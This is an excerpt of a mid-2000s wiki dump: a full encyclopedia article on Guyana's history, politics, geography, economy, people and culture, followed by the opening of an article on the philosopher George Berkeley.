''Guyana'' is an [[Amerindian]] word meaning ''Land of Many Waters'', and the country is mostly characterized by vast unspoiled rain forests dissected by numerous rivers, creeks and beautiful waterfalls. It is also famous for being a proposed location of [[El Dorado (legend)|legendary El Dorado]], the inspiration for The Lost World, for its friendly multicultural society, high [[Biodiversity|biodiversity]], prize-winning rum, wooden architecture, and [[Demerara (sugar)|Demerara sugar]]. Guyana's water walls is known to be one of the most popular attraction because it is inspired by the many waters of Guyana.

Though physically part of South America, culturally, Guyana is more Caribbean than Latin American&amp;mdash;demonstrated by the fact that English is the main language. Other languages include Portuguese, Guyanese Creole English, Spanish, Hindustani, Waiwai, Arawak and Macushi.

==History==
''Main article: [[History of Guyana]]''

At the time the first [[Europe]]ans arrived in the area around 1500, Guyana was inhabited by [[Arawak]] and [[Carib]] tribes of [[Amerindian]]s.  European invasion/settlement began in the early [[17th century]] with the [[Netherlands|Dutch]], who established three separate colonies; [[Essequibo]] ([[1616]]), [[Berbice]] ([[1627]]), and [[Demerara]] ([[1752]]). The [[United Kingdom|British]] assumed control in the late [[18th century]] and the Dutch formally ceded the area in [[1814]]. The three became a single British colony known as [[British Guiana]] in [[1831]].

The abolition of [[slavery]] in [[1834]] led to black settlement of urban areas and the importation of indentured laborers from [[Madeira]] (Portugal) (beginning in 1834), [[Germany]] (first in 1835), [[Ireland]] (1836), [[Scotland]] (1837), [[Malta]] (1839), [[China]] and [[India]] (beginning in 1838) to work on the sugar plantations. In [[1889]] Venezuela claimed the land up to the Essequibo.  Ten years later an international tribunal ruled the land belonged to British Guiana.

Guyana achieved independence from the United Kingdom in [[1966]] and became a [[republic]] in [[1970]], remaining a member of the [[Commonwealth of Nations|Commonwealth]]. The [[CIA]] and [[United States State Department]] along with the British government played a strong covert role in influencing who would control Guyana during this time.

==Politics==
''Main article: [[Politics of Guyana]]''

[[Legislative]] power rests in the [[unicameral]] Guyanese [[parliament]], called the National Assembly, with 53 members chosen on the basis of [[proportional representation]] from national lists named by the political parties. An additional 12 members are elected by regional councils at the same time as the National Assembly.

[[Executive (government)|Executive]] authority is exercised by the [[president]], who appoints and supervises the [[prime minister]] and other ministers. The president is not directly elected; each party presenting a slate of candidates for the assembly must designate in advance a leader who will become president if that party receives the largest number of votes. Any dissolution of the assembly and election of a new assembly can lead to a change in the assembly majority and consequently a change in the presidency. An ethnocultural divide between the two main ethnic groups has persisted and has on occasion led to turbulent politics.

The highest judicial body is the Court of Appeal, headed by a chancellor of the [[judiciary]]. The second level is the High Court, presided over by a chief justice. The chancellor and the Chief Justice are appointed by the president. The [http://www.audit.org.gy Audit Office of Guyana (AOG)] is the country's Supreme Audit Institution (SAI).

Guyana is a full and participating founder-member of the [[Caribbean Community|Caribbean Community (CARICOM)]], the headquarters of which is located in Georgetown. The CARICOM Single Market &amp; Economy (CSME) will, by necessity, bring Caribbean-wide [http://www.caricomlaw.org legislation] into force and a [http://www.caribbeancourtofjustice.org/ Caribbean Court of Justice (CCJ)].

===Heads of Government===
*[[Bharrat Jagdeo]] 1999 - Present
*[[Janet Jagan]] 1997 - 1999 [http://www.jagan.org/janet_jagan.htm Jagan website]
*[[Samuel Hinds]] [[March 6]] [[1997]] - [[19 December]] [[1997]] 
*[[Desmond Hoyte]] 1985 - 1992
*[[Forbes Burnham]] 1966 - 1985
*[[Cheddi Jagan]] 1957 - 1964, 1992 - 1997 [http://www.jagan.org/ Jagan website]

===Heads of State===

*[[Richard Luyt|Sir Richard Edmonds Luyt]]: [[26 May]] - [[16 December]] [[1966]] 

*[[David James Gardiner Rose|Sir David James Gardiner Rose]]: [[16 December]] [[1966]] - [[10 November]] [[1969]] 

*[[Edward Victor Luckhoo|Sir Edward Victor Luckhoo:]] [[10 November]] [[1969]] - [[22 February]] [[1970]]

*[[Arthur Chung]] 1970 - 1980

''*Note'': Guyana has adopted the Presidential System form of Government hence the current Head of State (the President) also holds the portfolio of Head of Government and Supreme Executive Authority.

==Political Divisions/Regions==
''Main article: [[Regions of Guyana]]''

Guyana consists of 10 regions:

* [[Barima-Waini]] (Region 1)
* [[Cuyuni-Mazaruni]] (Region 7)
* [[Demerara-Mahaica]] (Region 4)
* [[East Berbice-Corentyne]] (Region 5)
* [[Essequibo Islands-West Demerara]] (Region 3)
* [[Mahaica-Berbice]] (Region 6)
* [[Pomeroon-Supenaam]] (Region 2)
* [[Potaro-Siparuni]] (Region 8)
* [[Upper Demerara-Berbice]] (Region 10)
* [[Upper Takutu-Upper Essequibo]] (Region 9)

==Geography==
[[Image:Gy-map.png|thumb|Map of Guyana]]
''Main article: [[Geography of Guyana]]''

Guyana can be divided into three regions: a narrow and fertile marshy plain along the [[Atlantic]] coast where most of the population lives, then a white sand belt more inland consisting of dense [[rainforest]]s and containing most of Guyana's mineral deposits, and finally the larger interior highlands consisting mostly of mountains that gradually rise to the Brazilian border. Guyana's main mountains are contained here, including [[Mount Ayanganna]] (2042 m) and on [[Mount Roraima]] (2,835 m - highest mountain in Guyana) on the [[Brazil]]-Guyana-[[Venezuela]] [[tripoint]], part of the [[Pakaraima]] range. Roraima is said to be have been the inspiration for ''[[The Lost World (Arthur Conan Doyle)|The Lost World]]''. There are also many steep escarpments and waterfalls, including the famous [[Kaieteur Falls]]. Between the [[Rupununi River]] and the border with Brazil lies the [[Rupununi savannah]], south of which lie the [[Kanuku Mountains]].

There are many rivers in the country, the main four being (west to east) the [[Essequibo River|Essequibo]], the [[Demerara River|Demerara]], the [[Berbice River|Berbice]] and the [[Courantyne River|Corentyne]] along the border with [[Suriname]]. At the mouth of the Essequibo are several large islands. The 145 km [[Shell Beach, Guyana|Shell Beach]] along the north-west coast of Guyana is a major breeding area for [[turtle]]s and other wildlife.

The local [[climate]] is [[tropical climate|tropical]] and generally hot and humid, though moderated by northeast trade winds along the coast. There are two rainy seasons, the first from May to mid-August, the second from mid-November to mid-January.

'''International disputes''' - all of the area west of the Essequibo (river) is claimed by Venezuela preventing any discussion of a maritime boundary; Guyana has expressed its intention to join Barbados in asserting claims before UNCLOS that Trinidad and Tobago's maritime boundary with Venezuela extends into their waters; Suriname claims a triangle of land between the New and Kutari/Koetari rivers in a historic dispute over the headwaters of the Courantyne; Guyana seeks UNCLOS arbitration to resolve the long-standing dispute with Suriname over the axis of the territorial sea boundary in potentially oil-rich waters.

''See also [[List of cities in Guyana]], [[Regions of Guyana]]''

==Economy==
''Main article: [[Economy of Guyana]]''

The main economic activities in Guyana are [[agriculture]] (producing rice and Demerara sugar), [[bauxite]] mining, [[gold]] mining, timber, shrimp and minerals. The sugar industry, which accounts for 28% of all export earnings, is largely run by [[Guysuco]] which employs more people than any other industry. Many industries have a large foreign investment. The mineral industry, for example, is heavily invested in by the American company [[Reynolds Metals]] and the Canadian [[Alcan]] and the Korean/Malaysian [[Barama Company]] has a large stake in the logging industry.

The Guyanese economy has exhibited moderate economic growth since [[1999]], based on an expansion in the [[agriculture|agricultural]] and [[mining]] sectors, a more favorable atmosphere for business initiatives, a more realistic exchange rate, fairly low [[inflation]], and the continued support of international organizations. Chronic problems include a shortage of skilled [[labor (economics)|labor]] and a deficient [[infrastructure]]. The government is juggling a sizable external debt against the urgent need for expanded public investment. Low prices for key mining and agricultural commodities combined with troubles in the [[bauxite]] and [[sugar]] industries threaten the government's already tenuous fiscal position and dim prospects for the future.

Major private sector organizations include the [http://www.psc.org.gy Private Sector Commission (PSC)] and the [http://www.georgetownchamberofcommerce.org Georgetown Chamber of Commerce &amp; Industry (GCCI)]; see a list of [[List of Guyanese companies|companies in Guyana]].

'''Economic Summary''' - '''GDP/PPP (2004 est.):''' $2.899 billion; per capita $3,800. '''Real growth rate:''' 1.9%. '''Inflation:''' 4.5%. '''Unemployment:''' 9.1% (2000) (understated). '''Arable land:''' 2%. '''Labor force:''' 418,000 (2001 est.); agriculture n.a., industry n.a., services n.a. '''Agriculture:''' sugar, rice, wheat, vegetable oils; beef, pork, poultry, dairy products; fish, shrimp. '''Industries:''' bauxite, sugar, rice milling, timber, textiles, gold mining. '''Natural resources:''' bauxite, gold, diamonds, hardwood timber, shrimp, fish. '''Exports:''' $570.2 million (f.o.b., 2004 est.): sugar, gold, bauxite/alumina, rice, shrimp, molasses, rum, timber. '''Imports:''' $650.1 million (f.o.b., 2004 est.): manufactures, machinery, petroleum, food. '''Major trading partners:''' Canada, U.S., UK, Portugal, Belgium, Jamaica, Trinidad and Tobago, Italy, Cuba (2003)

'''Communications''' - Telephones: Main lines in use: 102,700 (2004 - source: ITU); Mobile cellular: 219,000 (Sep 2005 - source: Informa Telecoms). Radio broadcast stations: AM 3, FM 3, shortwave 1 (1998). Television broadcast stations: 14 (one public station; two private stations which relay U.S. satellite services) (2005). Internet hosts : 642 (2004 - source: ITU). Internet users: 145,000 (2004 - source: ITU).

'''Transportation''' - Railways: total: 187 km (all dedicated to ore transport) (2001 est.). Highways: total: 7,970 km; paved: 590 km; unpaved: 7,380 km (1999 est.). Waterways: 1,077 km; note: Berbice, Demerara, and Essequibo rivers are navigable by oceangoing vessels for 150 km, 100 km, and 80 km respectively (2004) . Ports and harbors: Georgetown. Airports: 49 (2004 est.).

==Demographics==
''Main article: [[Demographics of Guyana]]''

Guyana's population of 751,223 ([http://www.statisticsguyana.gov.gy/ Statistics Bureau], 2002) is diverse: the three largest groups are the [[India]]ns or [[Indo-Guyanese]] (43.5% in 2002) who have remained predominantly rural, the [[Africa]]ns or [[Afro-Guyanese]] (30.2%) who constitute the majority urban population, and those of mixed origin (16.7%). The [[Amerindian]]s (9.2%) who live in the country's interior, are divided into a number of different groups, the main ones being the [[Akawaio]], [[Arawak]], [[Carib]], [[Macushi]], [[Makuxi]], [[Pemon]] and [[Wapishana]]. Several smaller groups, including [[Ethnic Chinese|Chinese]], [[Portuguese (Guyana)|Portuguese]], &quot;Whites&quot; ([[Europe]]ans other than Portuguese, including [[United Kingdom|British]]) and others make up less than 1% of the population. The overwhelming majority of the population - around 90% - live along the coastal strip, where population density is more than 115 persons per km². There is much racial tension between the Indian and African communities, and the two main parties are largely mono-racial. The trend over time is for the Amerindian and mixed-race proportion to grow, mainly at the expense of the Indo-Guyanese proportion, while the black percentage remains roughly stable. In 1980, Guyana had an absolute majority (51.9%) of Indo-Guyanese, but now no group forms a majority.

Religion in Guyana runs mainly along racial lines. [[Christianity]] (50%) predominantly [[Anglicanism]], is the main religion practiced by Afro-Guyanese, though some are [[Black Muslim]] or other Christian denominations. The Indo-Guyanese community mainly follow [[Hinduism]] (35%), though there is a sizable minority who practice [[Islam]] (10%). Guyana is the country with the largest percentage of [[Bahá'í Faith|Bahá'ís]] (7%).

[[Emigration]] has been a large and persistent problem in Guyana, with an estimated 500,000 Guyanese living abroad. Since independence, as many as 10,000 Guyanese have left and settled permanently in the [[United States]] alone per year and demand to emigrate remains very high. [[Canada]], the [[United Kingdom]] and English-speaking Caribbean islands are the other main countries people choose to emigrate to. At the same time, the birth rate has fallen sharply, and because of the emigration, can no longer sustain the country's population level. Many in the government worry that the country may become depopulated, but few concrete steps have been taken to stem the outflow. Results from the 2002 census, however, suggest that emigration in the last decade has decreased somewhat compared to the 1980s.

==Culture==
&lt;TABLE border=&quot;1&quot; align=&quot;right&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;&gt;
&lt;CAPTION&gt;&lt;font size=&quot;+1&quot;&gt;'''Holidays'''&lt;/font&gt;&lt;/caption&gt;
&lt;TR&gt;&lt;TH style=&quot;background:#efefef;&quot;&gt;Date&lt;/TH&gt;&lt;TH style=&quot;background:#efefef;&quot;&gt;English Name&lt;/TH&gt;&lt;TH style=&quot;background:#efefef;&quot;&gt;Remarks&lt;/TH&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[January 1]]&lt;/TD&gt;&lt;TD&gt;[[New Year's Day]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[February 23]]&lt;/TD&gt;&lt;TD&gt;[[Mashramani-Republic Day]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[Variable]]&lt;/TD&gt;&lt;TD&gt;[[Phagwah]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;Variable&lt;/TD&gt;&lt;TD&gt;[[Eid-ul-Fitr]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[Variable]]&lt;/TD&gt;&lt;TD&gt;[[Good Friday]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;Variable&lt;/TD&gt;&lt;TD&gt;[[Easter Monday]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[May 1]]&lt;/TD&gt;&lt;TD&gt;[[Labour Day]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[May 26]]&lt;/TD&gt;&lt;TD&gt;[[Independence Day]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[July]]&lt;/TD&gt;&lt;TD&gt;[[CARICOM Day]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[August 1]]&lt;/TD&gt;&lt;TD&gt;[[Emancipation Day]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;Variable&lt;/TD&gt;&lt;TD&gt;[[Diwali]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[December 25]]&lt;/TD&gt;&lt;TD&gt;[[Christmas]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[December 26]]&lt;/TD&gt;&lt;TD&gt;[[Boxing Day]]&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
''Main article: [[Culture of Guyana]]''

'''Guyana's culture''' is very similar to that of the English-speaking [[Caribbean]]. It is so similar that Guyana is included and accepted as a Caribbean Nation and is a member of the Caribbean Community [[Caricom]] economic bloc. Only its geographical location differentiates it from the rest of the English speaking Caribbean countries. Guyana shares similar interests with the islands in the [[West Indies]], such as food, festive events, music, sports, etc.  Guyana plays international cricket as a part of the [[West Indian cricket team|West Indies cricket team]], and the [[Guyanese cricket team|Guyana team]] plays [[first class cricket]] against other nations of the Caribbean.

''For Guyanese writers see [[Literature of Guyana]]''.

'''Music &amp; Entertainment''' in Guyana follows the lead of other Caribbean countries and India. Radio stations play the latest [[reggae]], [[dancehall]], [[soca]] and [[chutney]] as well as [[Bollywood]] influences of bhangra and other hindi music. Local television stations air American, British and Indian broadcasts. There are teen clubs in which many youths attend to dance and have a good time with others that are in the same age limit. 

'''Cuisine and Recipes'''

For the main article, see [http://en.wikibooks.org/wiki/Cookbook:Cuisine_of_Guyana Guyanese Cuisine and Recipes]


'''Cultural events in Guyana'''
*[[Mashramani]] (Mash)
*[[Phagwah]] ([[Holi]])
*[[Deepavali]] ([[Diwali]])

The major religion in Guyana is Christianity, accounting for approx. 48% of the population.  Hindus make up approx. 36%, while Muslims account for 12% of the population. The rest of the population is split into a number of other religious groups. 

'''Sports in Guyana'''
The major sports in Guyana are [[cricket]], [[softball cricket]] ([[beach cricket]]) and [[football (soccer)|football]]. The minor sports in Guyana are [[netball]], [[rounders]], [[lawn tennis]], [[basketball]], [[table tennis]], [[boxing]], and a few others.

'''Languages'''
English (official language), Amerindian dialects (see [[Cariban languages]]), [[Guyanese Creole]], [[Hindi]], [[Urdu]].

==Ecology and World Heritage Site status==
Countries interested in the conservation and protection of natural and cultural heritage sites of the world accede to the Convention Concerning the Protection of the World Cultural and Natural Heritage that was adopted by [[UNESCO]] in 1972.  Guyana is no exception, and signed the treaty in 1977.  In fact, Guyana was the first Caribbean State Party to sign the treaty.  Sometime in the latter half of the mid-1990s Guyana seriously began the process of selecting sites for World Heritage nomination and three sites were considered: [[Kaieteur National Park]], [[Shell Beach, Guyana|Shell Beach]] and Historic Georgetown.  By 1997, work on Kaieteur National Park was started and in 1998 work on Historic Georgetown was begun.  To date, however, Guyana has not made a successful nomination.

In 2000(?) Guyana submitted the Kaieteur National Park, including the [[Kaieteur Falls]], to UNESCO as its first World Heritage Site nomination.  The proposed area and surrounds have some of Guyana’s most diversified life zones with one of the highest levels of endemic species found anywhere in South America.  The Kaieteur Falls is the most spectacular feature of the park falling a distance of 226 m and exceeding the height of Niagara Falls (USA/Canada) five times.  Unfortunately, the nomination of Kaieteur Park as a World Heritage Site was not successful, primarily because the area was seen by the evaluators as being too small, especially when compared with the Central Suriname Nature Reserve that had just been nominated as a World Heritage Site (2000).  The dossier was thus returned to Guyana for revision.

Guyana continues in its bid for a World Heritage Site.  Work continues, after a period of hiatus, on the nomination dossier for Historic Georgetown – a Tentative List indicating Historic Georgetown as being put forward for nomination was submitted to UNESCO in December 2004.  There is now a small committee put together by the Guyana National Commission for UNESCO to complete the nomination dossier and the management plan for the site.  Recently, in April 2005, two Dutch experts in Conservation spent two weeks in Georgetown supervising Architecture staff and students of the University of Guyana in a historic building survey of the selected area.  This is part of the data collection for the nomination dossier.  It is expected that the completed nomination document will be submitted in 2006.

Meanwhile, as a result of the Kaieteur National Park being considered too small, there is a proposal to prepare a nomination for a Cluster Site that will include the Kaieteur National Park, the Iwokrama Rain Forest and the Kanuku Mountains.  The Iwokrama Forest, an area rich in biological diversity, has been described by Major General (Rtd) Joseph Singh as “a flagship project for conservation.”   The Kanuku Mountains area is in a pristine state, and is home to more than 400 birds and animals.  These three sites together, we feel, more than adequately meet the requirements of exceptional natural beauty and biological diversity, as well as the requirements of size and integrity, for a successful nomination.

There is much work to be done for the successful nomination of these sites to the World Heritage List.  The State, the private sector and the ordinary Guyanese each have a role to play in this process and in the later protection of the sites.  Inscription on the UNESCO World Heritage will open Guyana to more serious tourists thereby assisting in its economic development.

Guyana exhibits two of the WWF's [[Global 200]] ecoregions most crucial to the conservation of global biodiversity, Guianan moist forests and Guyana Highlands moist forests and is home to several endemic species including the tropical hardwood [[Greenheart]] (''Chlorocardium rodiei'').



==Landmarks==

*St. George's Anglican Church - Was the tallest wooden building in the world at the time of construction. Now dwarfed by other structures such as the [[Todaiji Temple]] in Japan. 

*Demerara Harbour Bridge - Was the longest floating bridge in the world. Now the fourth longest floating bridge in the world.

*[[Kaieteur Falls]] one of the most spectacular waterfalls in the world.

*Caribbean Community (CARICOM) International Headquarters Building - houses the largest and most powerful political union in the Caribbean. 

*[[Providence Stadium]]-to be built on the east bank of the [[Demerara River]] for the ICC World Cup 2007. Construction has started. When completed it will be a major spot for leisure in Guyana. It will also be near the Providence Mall which, when completed, will be the largest mall in Guyana.

* Guyana International Conference Center - presented as a gift from the People's Republic of China to the Government of Guyana . It is the only one of its kind in the country .

*Water Walls- is an main attraction in Guyana that is viewed by many tourists that visit Guyana.

==Military==
'''Military branches:'''
[[Guyana Defence Force]] (GDF; includes Ground Forces, Coast Guard, and Air Corps), Guyana People's Militia (GPM), Guyana National Service (GNS), Guyana Police Force

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
206,199 (2002 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
155,058 (2002 est.)

'''Military expenditures - dollar figure:'''
$7 million (FY94)

'''Military expenditures - percent of GDP:'''
1.7% (FY94)

==Trivia==
* The 1856 [[British Guiana 1c magenta]] stamp is considered the rarest in the world, with only one copy known to exist.

* The [[1959]] film ''[[Green Mansions]]'', starring [[Audrey Hepburn]] and [[Anthony Perkins]], was filmed in Guyana (then British Guiana).

* Guyana is the only South American country where the [[death penalty]] is still in use for serious crimes and where [[homosexuality]] remains illegal.

* On [[November 18]] [[1978]], the [[Jonestown Massacre]] took place in the [[jungle]] of Northwest Guyana; 912 members of the [[cult]] died in a [[mass suicide]]. To date most people have only heard of Guyana because of this incident.

* ''The Guinness Book of Records'' (1990 ed) lists the Guyanese born [[Sir Lionel Luckhoo]] as &quot;the world's most successful lawyer&quot; because he obtained 245 consecutive acquittals for his clients that were accused of murder.

* Guyanese people say that if you visit Guyana and &quot;Eat Labba and Drink Black Water&quot;, you are bound to return to Guyana. (Labba is a small [[agouti]] or South American rodent that is eaten in a dark stew called &quot;pepper pot&quot;, &quot;Black water&quot; is the water found in the many creeks in the interior of Guyana, made black by tanin found in rotting vegetation).

==Miscellaneous topics==
* [[Communications in Guyana]]
* [[Foreign relations of Guyana]]
* [[Military of Guyana]]
* [[Music of Guyana]]
* [[Transportation in Guyana]]
* [[Islam in Guyana]]

==See also==
* [[French Guiana]]
* [[Suriname|Suriname (formerly Dutch Guiana)]]

==Further reading==
* ''All the Cowboys Were Indians'' Stanley E. Brock 
* ''Bush Pilot In Diamond Country'' Donald Haack
* ''The Cycle of Racial Oppression in Guyana'' Kean Gibson 
* ''Georgetown Journal'' Andrew Salkey, 1970
* ''Guyana'' (Enchantment of the World Series) Marion Morrison
* ''Guyana'' Bob Temple
* ''Guyana Farewell: A Recollection of Childhood in a Faraway Place'' Noel C. Bacchus
* ''Guyana: Fragile Frontier'' Marcus Colchester
* ''Guyana: The Lost Eldorado, My Fifty Years in the Guyanese Wilds'' Matthew French Young
* ''Journey To Guyana'' Margaret Bacon
* ''Jungle Cowboy'' Stanley E. Brock
* ''The Making of Guyana'' Vere T. Daly
* ''Masters of All They Surveyed : Exploration, Geography and a British El Dorado'' D. Graham Burnett
* ''Metegee: The History and Culture of Guyana'' Ovid Abrams
* ''Ninety-Two Days'' [[Evelyn Waugh]]
* ''Three Singles To Adventure'' [[Gerald Durrell]]
* ''Through Indian Eyes: A Journey Among the Indian Tribes of Guiana'' Colin Henfrey
* ''U.S. Intervention in British Guiana : A Cold War Story'' Stephen G. Rabe
* ''Wanderings in South America'' [[Charles Waterton]]
* ''Zoo Quest to Guiana'' [[David Attenborough]], 1956 (Lutterworth Press, London)

''For books specifically about the Jonestown massacre, see Further Reading on the [[Jonestown]] page''

==External links==
{{sisterlinks|Guyana}}

'''Government'''
* [http://www.op.gov.gy President of the Co-operative Republic of Guyana - Official Website]
*[http://www.parliament.gov.gy National Assembly]
*[http://www.guyana-tourism.com/ Official Website of the Guyana Tourism Authority] (GTA)
*[http://www.goinvest.gov.gy/ Official Website of the Guyana Office for Investment] - GO-Invest
*[http://www.hiv.gov.gy/ Government of Guyana National HIV/AIDS Programme] - National website providing HIV/AIDS information to health professionals, general public and partners.
*[http://www.guyana.org/govt/US-declassifed-documents-1964-1968.html] - Declassified US State Department documents detailing covert action from the start of postwar independence. 

'''General'''
* [http://www.sdnp.org.gy SDNP Guyana] - Guyanese directory and host to ministerial sites
* [http://dmoz.org/Regional/South_America/Guyana Open Directory Project - Guyana] directory category
* [http://www.blackmagic-lounge.com The Black Magic Lounge] - Fresh content and unique design like no other Guyanese site
* [http://www.guyanaoutpost.com Guyana Outpost] - One of the premier web sites on Guyana and Guyanese
* [http://www.guyanainfoline.net Guyana] - On Guyana and its people
*[http://news.bbc.co.uk/1/hi/world/americas/country_profiles/1211325.stm BBC profile of Guyana]
*[http://www.guyanaundersiege.com/Cultural/Hindus%20of%20South%20America.htm Hinduism in Guyana and Suriname]

'''News media'''
*[http://www.guyana.org - Guyana News and Information]One of the most popular websites for current news and information, this site also hosts an email directory of people from the Guyanese Community and Discussion Forum.
*[http://www.gina.gov.gy/ GINA] - Government Information Agency. Updated daily.
*[http://www.guyanachronicle.com/ The Guyana Chronicle] - Local daily government run newspaper.
*[http://www.kaieteurnewsgy.com/ Kaieteur news] - Local daily independent newspaper.
*[http://www.stabroeknews.com/ Stabroek News] - Local daily independent newspaper. Updated daily and maintains archives for 7 days.

* Get an overview of [http://maps.google.com/maps?ll=6.446318,-58.436279&amp;spn=4.593018,8.172180&amp;t=h&amp;hl=en Guyana on Google Maps].
{{South America}}
{{Caricom}}


[[Category:CARICOM member states]]
[[Category:Guyana]]
[[Category:Guyana|*]]
[[Category:Republics]]
[[Category:South American countries]]

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    </revision>
  </page>
  <page>
    <title>George Berkeley</title>
    <id>11958</id>
    <revision>
      <id>41078054</id>
      <timestamp>2006-02-24T22:30:02Z</timestamp>
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      <minor />
      <text xml:space="preserve">[[image:BishBerk.jpg|right|framed|Bishop George Berkeley]]

'''George Berkeley''' ([[British English]]:/{{IPA|ˈbɑː.kli}}/; [[Irish English]]: /{{IPA|ˈbɑɹ.kli}}/) ([[12 March]] [[1685]] &amp;ndash; [[14 January]] [[1753]]), also known as '''Bishop Berkeley''', was an influential [[Ireland|Irish]] [[philosopher]] whose primary philosophical achievement is the advancement of what has come to be called [[subjective idealism]], summed up in his dictum, ''&quot;Esse est percipi&quot;'' (&quot;To be is to be perceived&quot;). Basically, the theory is that we can only directly know sensations and ideas of objects, not abstractions such as &quot;matter&quot;.  He wrote a number of works, the most widely-read of which are his ''[[Treatise Concerning the Principles of Human Knowledge]]'' ([[1710]]) and ''[[Three Dialogues between Hylas and Philonous]]'' ([[1713]]) (Philonous, the &quot;lover of the mind&quot;, representing Berkeley himself). In [[1734]] he published ''[[The Analyst]]'', a critique of the foundations of science, which was very influential in the subsequent development of mathematics.

The city of [[Berkeley, California]] is named after him, but the pronunciation of its name has evolved to suit [[American English]].
A residential college in [[Yale University]] also bears his name.

==Life==
George Berkeley was born in Dysert Castle, near [[Thomastown]], [[Ireland]], the eldest son of William Berkeley, a cadet of the noble family of Berkeley. He was educated at Kilkenny College and attended [[Trinity College, Dublin]] completing a masters degree in [[1707]]. He remained at Trinity College after completion of his degree as a tutor and Greek lecturer. His earliest publication was a mathematical one; but the first which brought him into notice was his ''Essay towards a New Theory of Vision'', published in [[1709]]. Though giving rise to much controversy at the time, its conclusions are now accepted as an established part of the theory of optics. There next appeared in [[1710]] the ''Treatise concerning the Principles of Human Knowledge'', which was followed in [[1713]] by ''Dialogues between Hylas and Philonous'', in which he propounded his system of philosophy, the leading principle of which is that the world as represented to our senses depends for its existence, as such, on being perceived. Of this theory the ''Principles'' gives the exposition and the ''Dialogues'' the defence. One of his main objects was to combat the prevailing materialism of the time. The theory was largely received with ridicule, though some, such as Dr. S. Clarke, considered him a genius.  Shortly afterwards he visited England, and was received into the circle of Addison, Pope, and Steele.  In the period between 1714 and 1720 he interspersed his academic endeavours with periods of extensive travel in Europe. In 1721, he took [[Holy Orders]], earning his doctorate in divinity, and once again chose to remain at Trinity College Dublin lecturing this time in Divinity and in Hebrew. In [[1724]] he was made Dean of [[Derry]]. 

In [[1725]] he formed the project of founding a college in [[Bermuda]] for training ministers for the colonies, and missionaries to the Indians, in pursuit of which he gave up his deanery with its income of £1100, and went to America on a salary of £100.  He landed near [[Newport, Rhode Island]] where he bought a plantation - the famous &quot;Whitehall.&quot; On October 4, 1730, Berkeley purchased &quot;a Negro man named Philip aged Fourteen years or thereabout.&quot; A few days later he purchased &quot;a negro man named Edward aged twenty years or thereabouts.&quot; On June 11, 1731, &quot;Dean Berkeley baptized three of his negroes, 'Philip, Anthony, and Agnes Berkeley' &quot; (The bills of slave can be found in the [[British Museum]] (Ms. 39316). George C. Mason, Annals of Trinity Church, 1698-1821, 51).

Berkeley's sermons explained to the colonists why Christianity supported slavery, and hence slaves should become baptized Christians: &quot;It would be of advantage to their [slave masters'] affairs to have slaves who should 'obey in all things their masters according to the flesh, not with eye-service as men-pleasers, but in singleness of heart, as fearing God;' that gospel liberty consists with temporal servitude; and that their slaves would only become better slaves by being Christian&quot; (Berkeley, Proposal, 347. See his sermon in Newport, preached October, 1729).

He lived at the plantation while he waited for funds for his college to arrive. The funds, however, were not forthcoming and in [[1732]] he returned to London.  In [[1734]], he was appointed Bishop of [[Cloyne]].  Soon afterwards he published ''Alciphron, or The Minute Philosopher'', directed against Shaftesbury, and in [[1734]]-[[1737|37]] ''The Querist''. His last publications were ''Siris'', a treatise on the medicinal virtues of tar-water, and ''Further Thoughts on Tar-water''. 

He remained at Cloyne until [[1752]], when he retired and went to Oxford to live with his son.  His affectionate disposition and genial manners made him much beloved.

==Contributions to Philosophy==
Berkeley's theorizing was [[Empiricism]] at its most extreme. As a young man, Berkeley theorized that we cannot know if an object ''is'', we can only know if an object ''is perceived'' by a mind. We can't think or talk about an object's ''being''. We can only think or talk about an object's ''being perceived'' by someone. We can't know any &quot;real&quot; object ([[matter]]) &quot;behind&quot; the object as we perceive it, which &quot;causes&quot; our perceptions. All that we know about an object is our perception of it.

The object we perceive is the only object that we know and experience. If we need to speak at all of the &quot;real&quot; or &quot;material&quot; object (the latter in particular being a confused term which Berkeley sought to dispose of), it is this perceived object to which all such names should exclusively refer. 

This arouses the question whether this perceived object is &quot;objective&quot; in the sense of being &quot;the same&quot; for our fellow humans, in fact if even the concept of other human beings (beyond our perception of them) is valid. Berkeley argues that since we experience other humans in the way they speak to us&amp;mdash;something which is not originating from any activity of our own&amp;mdash;and since we learn that their view of the world is consistent with ours, we can believe in their existence and in the world being identical (similar) for everyone.

It follows that:

# Any knowledge of the empirical world is to be obtained only through direct perception.
# Error comes about through thinking about what we perceive.
# Knowledge of the empirical world of people and things and actions around us may be purified and perfected merely by stripping away all thought (and with it language) from our pure perceptions. 

From this it follows that:

# The ideal form of scientific knowledge is to be obtained by pursuing pure de-intellectualized perceptions.
# If we would pursue these, we would be able to obtain the deepest insights into the natural world and the world of human thought and action which is available to man.
